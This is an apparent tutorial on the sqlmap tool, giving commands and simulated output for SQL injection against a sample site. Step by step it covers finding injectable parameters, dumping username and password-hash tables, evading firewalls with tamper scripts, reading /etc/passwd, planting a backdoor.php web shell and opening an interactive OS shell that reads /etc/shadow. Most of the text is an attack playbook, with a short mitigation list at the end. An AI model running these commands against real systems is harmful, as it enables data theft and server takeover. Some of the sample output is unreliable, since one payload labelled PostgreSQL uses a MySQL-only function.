SQLmap: A Comprehensive Guide to Automated SQL Injection Exploitation
I. Getting Started: Basic Detection and Enumeration
The journey with sqlmap begins by identifying vulnerable parameters and progressively mapping the database structure.
1. Initial Vulnerability Scan
The most basic command initiates a scan against a target URL, automatically identifying potential injection points and fingerprinting the backend database.
Command:
sqlmap -u "http://example.com/product.php?id=1"
Explanation:
The -u
(or --url
) flag specifies the target URL. sqlmap will test the id
GET parameter by default.
Simulated Output:
[INFO] testing GET parameter 'id'
...
sqlmap identified the following injection point(s) with a total of 87 HTTP(s) requests:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - SLEEP (6 seconds)
Payload: id=1 AND (SELECT 6432 FROM (SELECT(SLEEP(6)))GqZp)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data: 'MySQL'
Output Explanation:
This output confirms that the id
parameter is vulnerable, specifically to a Time-Based Blind SQLi technique. It also successfully fingerprints the backend database as MySQL (version >= 5.0.12). The Payload
shows the exact SQL fragment that triggered the vulnerability.
2. Retrieving Database Banner
The --banner
flag extracts detailed information about the database management system, including its version.
Command:
sqlmap -u "http://example.com/product.php?id=1" --banner
Explanation:
The --banner
flag instructs sqlmap to query the database for its version string and other identifying information.
Simulated Output:
[INFO] fetching banner
banner: '5.7.28-log'
Output Explanation:
The output directly provides the database banner, confirming the MySQL version as 5.7.28-log
. This information is crucial for selecting database-specific exploits.
3. Listing Databases
Once a vulnerability is confirmed, the next logical step is to enumerate the available databases on the server.
Command:
sqlmap -u "http://example.com/product.php?id=1" --dbs
Explanation:
The --dbs
flag tells sqlmap to list all database names accessible by the current database user.
Simulated Output:
[INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] **webapp_db**
Output Explanation:
sqlmap has successfully retrieved a list of databases. information_schema
, mysql
, and performance_schema
are common system databases for MySQL, while webapp_db
is likely the target application's database.
4. Listing Tables in a Database
After identifying a target database (e.g., webapp_db
), the next step is to list the tables within it.
Command:
sqlmap -u "http://example.com/product.php?id=1" -D webapp_db --tables
Explanation:
The -D
flag (or --db
) specifies the target database (webapp_db
), and --tables
instructs sqlmap to enumerate the table names within that database.
Simulated Output:
[INFO] fetching table names for database 'webapp_db'
Database: webapp_db
[3 tables]
+----------+
| **users** |
| products |
| sessions |
+----------+
Output Explanation:
The output shows the tables found within webapp_db
. The users
table is typically of high interest as it often contains user credentials.
5. Listing Columns in a Table
Once a relevant table (e.g., users
) is identified, the next step is to list the columns it contains.
Command:
sqlmap -u "http://example.com/product.php?id=1" -D webapp_db -T users --columns
Explanation:
The -T
flag (or --table
) specifies the target table (users
), and --columns
instructs sqlmap to enumerate the column names and their data types within that table.
Simulated Output:
[INFO] fetching columns for table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[5 columns]
+--------------+--------------+
| **column** | **type** |
+--------------+--------------+
| id | int(10) |
| **username** | varchar(50) |
| **password** | char(32) |
| email | varchar(100) |
| last_login | datetime |
+--------------+--------------+
Output Explanation:
This output provides the names and types of columns within the users
table. username
and password
are critical findings, with password
being char(32)
suggesting an MD5 hash.
6. Dumping Data from Columns
This is the final stage of data retrieval, where the actual content of specified columns is extracted.
Command:
sqlmap -u "http://example.com/product.php?id=1" -D webapp_db -T users -C username,password --dump
Explanation:
The -C
flag (or --columns
) specifies the target columns (username,password
), and --dump
executes the data retrieval for those columns from the specified table and database.
Simulated Output:
[INFO] dumping table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[2 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | **e5e9fa1ba31ecd1ae84f75caaa474f3a** |
| user1 | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----------+----------------------------------+
Output Explanation: The command successfully extracted the usernames and their corresponding password hashes, marking a successful data exfiltration. These hashes can then be subjected to cracking attempts.
7. Dumping All Data
The --dump-all
flag simplifies the process by attempting to retrieve all data from all non-system databases and tables.
Command:
sqlmap -u "http://example.com/product.php?id=1" --dump-all
Explanation:
The --dump-all
flag instructs sqlmap to iterate through all accessible databases, tables, and columns, dumping all their content. This can be time-consuming for large databases.
Simulated Output:
[INFO] dumping database 'webapp_db'
[INFO] dumping table 'webapp_db.products'
... (dumps products data) ...
[INFO] dumping table 'webapp_db.sessions'
... (dumps sessions data) ...
[INFO] dumping table 'webapp_db.users'
... (dumps users data, as seen above) ...
Output Explanation:
sqlmap systematically processes each database and table, outputting their contents. The data is typically saved to files within sqlmap's output directory (~/.sqlmap/output/
).
II. Advanced Targeting and Customization
Beyond simple GET requests, sqlmap supports complex scenarios involving POST requests, HTTP headers, and specialized authentication.
1. POST-Based Injection
Many web applications use POST requests for submitting data (e.g., login forms). sqlmap can target these parameters using the --data
flag.
Command:
sqlmap -u "http://example.com/login.php" --data="username=test&password=p@ssw0rd" --dbs
Explanation:
The --data
flag is used to specify the HTTP POST request body. sqlmap will test each parameter within this body (e.g., username
, password
) for injection.
Simulated Output:
[INFO] testing POST parameter 'username'
...
sqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: PostgreSQL error-based - function `PG_SLEEP` (XML)
Payload: username=test' AND EXTRACTVALUE(1,CONCAT(0x5c,CAST(PG_SLEEP(5) AS CHAR)))-- -&password=p@ssw0rd
---
[INFO] the back-end DBMS is PostgreSQL
... (proceeds to list databases for PostgreSQL) ...
Output Explanation:
sqlmap successfully identifies an error-based vulnerability in the username
POST parameter for a PostgreSQL backend. Subsequent enumeration (like --dbs
) would then target this POST parameter.
2. Injecting into HTTP Headers (Cookies, User-Agent, Referer)
Vulnerabilities can sometimes exist in less obvious places like HTTP headers. sqlmap
can test these by increasing its --level
of checks.
Command:
sqlmap -u "http://example.com/profile.php" --cookie="PHPSESSID=abc123def456; userId=1" --level=2 --dbs
Explanation:
The --cookie
flag defines the entire Cookie header. --level=2
is essential because sqlmap only tests cookies and user-agents at level 2 or higher, and referers at level 3 or higher.
Simulated Output:
[INFO] testing Cookie parameter 'userId'
...
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
---
Parameter: userId (Cookie)
Type: boolean-based blind
Title: SQLite boolean-based blind - parameter replace
Payload: PHPSESSID=abc123def456; userId=1 AND 1=1
---
[INFO] the back-end DBMS is SQLite
... (proceeds to list databases for SQLite) ...
Output Explanation:
sqlmap detected a Boolean-Based Blind SQLi in the userId
parameter within the Cookie header, confirming a SQLite backend.
3. Evading Web Application Firewalls (WAFs)
WAFs attempt to block common SQLi payloads. sqlmap's --tamper
scripts can modify payloads to bypass these defenses.
Command:
sqlmap -u "http://example.com/product.php?id=1" --tamper="space2comment,charencode" --dbs
Explanation:
The --tamper
flag applies one or more tamper scripts (comma-separated). space2comment
replaces spaces with /**/
comments, and charencode
URL-encodes the entire payload, making it harder for simple WAF rules to detect.
Simulated Output:
[INFO] testing GET parameter 'id'
[INFO] changing current parameter value 'id=1' to 'id=1/**/AND/**/1=1'
...
[INFO] sqlmap identified the following injection point(s) with a total of 180 HTTP(s) requests:
---
Parameter: id (GET)
Type: UNION query
Title: MySQL UNION query SELECT - 3 columns
Payload: id=1/**/UNION/**/ALL/**/SELECT/**/NULL,CONCAT(CHAR(113,107,112,112,113),...,CHAR(113,106,112,113,113)),NULL-- -
---
[INFO] the back-end DBMS is MySQL
Output Explanation:
The output shows sqlmap's payloads are modified by the tamper scripts, for example, replacing spaces with /**/
. Despite the WAF, sqlmap successfully identifies a UNION query vulnerability.
III. Advanced Post-Exploitation Techniques
Beyond data extraction, sqlmap can be used to gain control over the underlying operating system, depending on database privileges.
1. Checking Database User Privileges
Understanding the database user's privileges (--privileges
) and whether they are a DBA (--is-dba
) is crucial for post-exploitation.
Command (a): Check DBA status:
sqlmap -u "http://example.com/product.php?id=1" --is-dba
Explanation:
The --is-dba
flag checks if the current database user has Database Administrator privileges, which often implies extensive system access.
Simulated Output (a):
[INFO] fetching current user is DBA
[SUCCESS] current user is DBA: True
Output Explanation:
A True
result here indicates the user has DBA privileges, significantly increasing the likelihood of successful file system or OS shell access.
Command (b): List specific privileges:
sqlmap -u "http://example.com/product.php?id=1" --privileges
Explanation:
The --privileges
flag enumerates the specific permissions (e.g., SELECT
, INSERT
, FILE
) granted to the current database user across different databases.
Simulated Output (b):
[INFO] fetching database users privileges
Database: information_schema
[DBA] root@localhost: ALL PRIVILEGES
[USER] webuser@localhost: SELECT, INSERT, UPDATE, DELETE on webapp_db.*
Output Explanation:
This output clearly shows which users have what privileges. The root@localhost
user has ALL PRIVILEGES
, which is highly dangerous if compromised. The webuser@localhost
has more restricted, but still significant, access to webapp_db
. The presence of FILE
privilege is key for OS interaction.
2. Reading and Writing Files (--file-read
, --file-write
)
If the database user has FILE
privileges (like ALL PRIVILEGES
for root
in the example above), sqlmap can read and write arbitrary files on the server's file system.
Command (a): Read a remote file:
sqlmap -u "http://example.com/product.php?id=1" --file-read="/etc/passwd"
Explanation:
The --file-read
flag attempts to read the specified remote file path. /etc/passwd
is a common target on Linux systems for user enumeration.
Simulated Output (a):
[INFO] retrieved file content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Output Explanation:
sqlmap successfully reads and outputs the content of /etc/passwd
, confirming file read access.
Command (b): Write a remote file:
sqlmap -u "http://example.com/product.php?id=1" --file-write="/path/to/local/backdoor.php" --file-dest="/var/www/html/upload/backdoor.php"
Explanation:
The --file-write
flag specifies a local file to upload, and --file-dest
specifies the absolute path on the remote server where it should be written.
Simulated Output (b):
[INFO] uploading local file '/path/to/local/backdoor.php' to remote path '/var/www/html/upload/backdoor.php'
[SUCCESS] file '/path/to/local/backdoor.php' has been successfully uploaded on '/var/www/html/upload/backdoor.php'
Output Explanation: This confirms the successful upload of a local file to the web server, which could be a web shell or other malicious script.
3. Executing Operating System Commands (--os-cmd
, --os-shell
)
The ultimate goal for many advanced SQLi exploits is gaining an interactive shell on the server. sqlmap can achieve this if the database user has sufficient privileges and the environment allows.
Command (a): Execute a single OS command:
sqlmap -u "http://example.com/product.php?id=1" --os-cmd="whoami"
Explanation:
The --os-cmd
flag executes a single operating system command on the target server non-interactively.
Simulated Output (a):
[INFO] fetching OS command output
os-cmd: 'www-data'
Output Explanation:
The output shows that the whoami
command was executed, and the web server is running as the www-data
user, indicating successful command execution.
Command (b): Obtain an interactive OS shell:
sqlmap -u "http://example.com/product.php?id=1" --os-shell
Explanation:
The --os-shell
flag automates the process of uploading a web-based shell (e.g., a PHP script) to a web-accessible directory on the target server and then provides an interactive prompt to execute commands. sqlmap will prompt for the target OS type (Linux/Windows) and the web server's root directory.
Simulated Output (b) and Interactive Session:
[INFO] the back-end DBMS is MySQL
[INFO] the web server is running on Linux
[INFO] trying to upload sqlmap agent to '/var/www/html/' (web server root directory)
[SUCCESS] shell successful uploaded to '/var/www/html/tmpz0x7y.php'
os-shell> **ls -la /var/www/html**
total 20
drwxr-xr-x 3 root root 4096 Jul 20 10:00 .
drwxr-xr-x 12 root root 4096 Jul 15 09:30 ..
-rw-r--r-- 1 www-data www-data 2142 Jul 18 11:20 index.php
-rw-r--r-- 1 www-data www-data 120 Jul 20 10:05 tmpz0x7y.php
os-shell> **cat /etc/shadow | head -n 2**
root:$6$randomsalt$hashedpassword:18464:0:99999:7:::
daemon:*:18464:0:99999:7:::
os-shell> **exit**
Output Explanation:
This output confirms the successful upload of sqlmap's agent (web shell) and the establishment of an interactive OS shell. The subsequent commands (ls -la
, cat /etc/shadow
) demonstrate full command execution capability on the target system, allowing for complete system compromise and further internal reconnaissance.
IV. Mitigation Strategies
The advanced capabilities of sqlmap underscore the critical importance of robust security measures to prevent SQL Injection vulnerabilities.
- Parameterized Queries / Prepared Statements: This is the most effective and primary defense. It ensures that user input is treated purely as data, never as executable SQL code.
- Principle of Least Privilege: Configure the database user account used by the web application with only the absolute minimum necessary privileges. Specifically, deny
FILE
privileges,CREATE PROCEDURE
, and DBA roles to prevent OS shell access and arbitrary file manipulation. - Strict Input Validation (Whitelisting): Implement rigorous input validation at the application layer. Only accept characters, formats, and lengths that are explicitly allowed for each input field. Reject or strictly sanitize anything unexpected.
- Disable Verbose Error Messages: In production environments, suppress detailed database error messages. Such errors often leak crucial internal database structure and version information that sqlmap can leverage.
- Web Application Firewall (WAF): A well-configured WAF can provide a secondary layer of defense by detecting and blocking known SQLi payloads and patterns, especially those involving common keywords or suspicious character sequences. However, a WAF should never be considered a replacement for secure coding practices.
By understanding how sqlmap operates and the full extent of its exploitation capabilities, developers and security professionals can implement more effective defenses, drastically reducing the attack surface and mitigating the risk of devastating SQL Injection attacks.